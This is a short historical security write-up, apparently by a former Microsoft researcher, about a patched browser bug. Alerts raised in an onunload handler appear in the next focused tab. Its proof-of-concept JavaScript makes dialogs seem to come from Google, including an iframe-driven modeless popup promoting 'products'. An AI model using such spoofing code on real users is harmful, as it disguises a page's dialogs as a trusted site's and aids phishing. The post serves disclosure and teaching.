This one surprised me. It turns out that alerts thrown inside an onunload handler are displayed in whatever tab gains focus after the originating tab closes — so the dialog appears to come from an entirely different site. With a little extra effort, the same mechanism can be used to open modeless dialogs that seem to belong to the new tab.
<script language="JavaScript">
var URL = "http://www.google.com";
function basicAlert()
{
window.open(URL);
window.onunload = function()
{
alert('This alert seems to be coming from Google, but it in reality it comes from the "closed" window/tab from: ' + document.URL + '\n\n' +
'In other words, alerts thrown onunload event are shown in the next focused tab when the originator of the alert is closed.\n\n' +
'Load the PoC again and check the second one, which is able to open a window which seems to be thrown from this window.');
}
window.open("","_self").close();
}
function setCaptureModeless()
{
window.open(URL);
window.onunload = function()
{
document.write('<iframe src="onunload_iframe.html"></iframe>');
alert('Click OK to open a window with our fantastic products');
}
window.open("","_self").close();
}
</script>
The onunload_iframe.html helper uses setCapture and showModelessDialog to present an additional window once the alert is dismissed. From the user’s perspective, the dialog sequence appears to originate from Google rather than from the page that actually created it. The root issue is that onunload callbacks fire in a context where the next focused tab acts as the visual host for any synchronous UI.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.